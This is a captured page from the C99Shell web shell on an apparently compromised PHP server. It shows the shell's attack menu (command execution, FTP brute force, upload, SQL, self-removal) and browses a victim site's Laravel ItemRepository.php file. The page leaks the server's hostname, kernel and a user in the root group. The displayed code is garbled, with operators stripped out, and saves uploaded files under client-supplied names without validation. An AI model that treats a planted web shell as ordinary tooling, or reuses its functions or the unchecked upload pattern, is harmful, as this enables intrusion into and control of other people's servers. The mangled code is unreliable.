!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Repositories/Back/   drwxr-xr-x
Free 29 GB of 117.98 GB (24.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ItemRepository.php (6.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Repositories\Back;

use 
App\{
    
Models\Item,
    
Models\Gallery,
    
Helpers\ImageHelper
};
use 
App\Models\Currency;

class 
ItemRepository
{

    
/**
     * Store item.
     *
     * @param  \App\Http\Requests\ItemRequest  $request
     * @return void
     */

    
public function store($request)
    {
        
        
$input $request->all();
        if (
$file $request->file('photo')) {
            
$images_name ImageHelper::ItemhandleUploadedImage($request->file('photo'),'assets/images');

            
$input['photo'] = $images_name[0];
            
$input['thumbnail'] = $images_name[1];
        }
        

        
$curr Currency::where('is_default',1)->first();
        
$input['discount_price'] = $request->discount_price $curr->value;
        
$input['previous_price'] = $request->previous_price $curr->value;

        if(
$request->has('meta_keywords')){
            
$input['meta_keywords'] = str_replace(["value""{""}""[","]",":","\""], ''$request->meta_keywords);
        }

        if(
$request->has('is_social')){
            
$input['social_icons'] = json_encode($input['social_icons']);
            
$input['social_links'] = json_encode($input['social_links']);
        }else{
            
$input['is_social']    = 0;
            
$input['social_icons'] = null;
            
$input['social_links'] = null;
        }

        if(
$request->has('tags')){
            
$input['tags'] = str_replace(["value""{""}""[","]",":","\""], ''$request->tags);
        }

        if(
$request->has('is_specification')){
            
$input['specification_name'] = json_encode($input['specification_name']);
            
$input['specification_description'] = json_encode($input['specification_description']);
        }else{
            
$input['is_specification']    = 0;
            
$input['specification_name'] = null;
            
$input['specification_description'] = null;
        }
        

        if(
$request->has('license_name') && $request->has('license_key')){
            
$input['license_name'] = json_encode($input['license_name']);
            
$input['license_key'] = json_encode($input['license_key']);
        }else{
            
$input['license_name'] = null;
            
$input['license_key'] = null;
        }

        
// digital product file upload
        
if($request->item_type == 'digital'){
            if(
$request->hasFile('file')){
                
$file $request->file;
                
$name time().str_replace(' '''$file->getClientOriginalName());
                
$file->move('assets/files',$name);
                
$input['file'] = $name;
            }
        }

        if(
$request->item_type == 'license'){
            if(
$request->hasFile('file')){
                
$file $request->file;
                
$name time().str_replace(' '''$file->getClientOriginalName());
                
$file->move('assets/files',$name);
                
$input['file'] = $name;
            }
        }

 
            if(
$request->hasFile('video')){
                
$file $request->video;
                
$name time().str_replace(' '''$file->getClientOriginalName());
                
$file->move('assets/videos',$name);
                
$input['video'] = $name;
            }


        
$input['is_type'] = 'undefine';
        
$item_id Item::create($input)->id;

        if(isset(
$input['galleries'])){
            
$this->galleriesUpdate($request,$item_id);
        }

        return 
$item_id;

    }

    
/**
     * Update item.
     *
     * @param  \App\Http\Requests\ItemRequest  $request
     * @return void
     */

    
public function update($item,$request)
    {
        
$input $request->all();

        if ( 
$request->file('photo')) {

            
$images_name ImageHelper::ItemhandleUpdatedUploadedImage($request->photo,'/assets/images',$item,'/assets/images/','photo');
            
$input['photo'] = $images_name[0];
            
$input['thumbnail'] = $images_name[1];
        }


        if(
$request->has('meta_keywords')){
            
$input['meta_keywords'] = str_replace(["value""{""}""[","]",":","\""], ''$request->meta_keywords);
        }



        if(
$request->has('tags')){
            
$input['tags'] = str_replace(["value""{""}""[","]",":","\""], ''$request->tags);
        }

        unset(
$input['photo']);
        unset(
$input['_method']);
        unset(
$input['_token']);

    }



    public function 
highlight($item,$request)
    {
        
$input $request->all();
        if(
$request->is_type != 'flash_deal'){
            
$input['date'] = null;
        }
        
$item->update($input);
    }

    
/**
     * Delete item.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */

    
public function delete($item)
    {
        if(
$item->galleries()->count() > 0){
            foreach(
$item->galleries as $gallery){
                
$this->galleryDelete($gallery);
            }
        }

        if(
$item->campaigns->count() > 0){
            
$item->campaigns()->delete();
        }
        if(
$item->reviews->count() > 0){
            
$item->reviews()->delete();
        }

        if(
$item->attributes()->count() > 0){
            foreach(
$item->attributes as $attribute){
                
$attribute->options()->delete();
            }
            
$item->attributes()->delete();
        }

        
ImageHelper::handleDeletedImage($item,'photo','assets/images/');
        
ImageHelper::handleDeletedImage($item,'thumbnail','assets/images/');
        if(
$item->item_type == 'digital' && $item->file){
            
ImageHelper::handleDeletedImage($item,'file','assets/files/');
        }
        
$item->delete();
    }

    
/**
     * Update gallery.
     *
     * @param  \App\Http\Requests\GalleryRequest  $request
     * @return void
     */

    
public function galleriesUpdate($request,$item_id=null)
    {
        
Gallery::insert($this->storeImageData($request,$item_id));
    }

    
/**
     * Delete gallery.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */

    
public function galleryDelete($gallery)
    {
        
ImageHelper::handleDeletedImage($gallery,'photo','/assets/images/');
        
$gallery->delete();
    }

    
/**
     * Custom Function.
     * @return void
     */

    
public function storeImageData($request,$item_id=null)
    {
        
$storeData = [];
        if (
$galleries $request->file('galleries')) {
            
$limitedGalleries array_slice($galleries05);
            foreach(
$limitedGalleries as $key => $gallery){
                
$storeData[$key] = [
                    
'photo'=>  ImageHelper::handleUploadedImage($gallery,'assets/images'),
                    
'item_id' => $item_id $item_id $request['item_id'],
                ];
            }
        }
        return 
$storeData;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--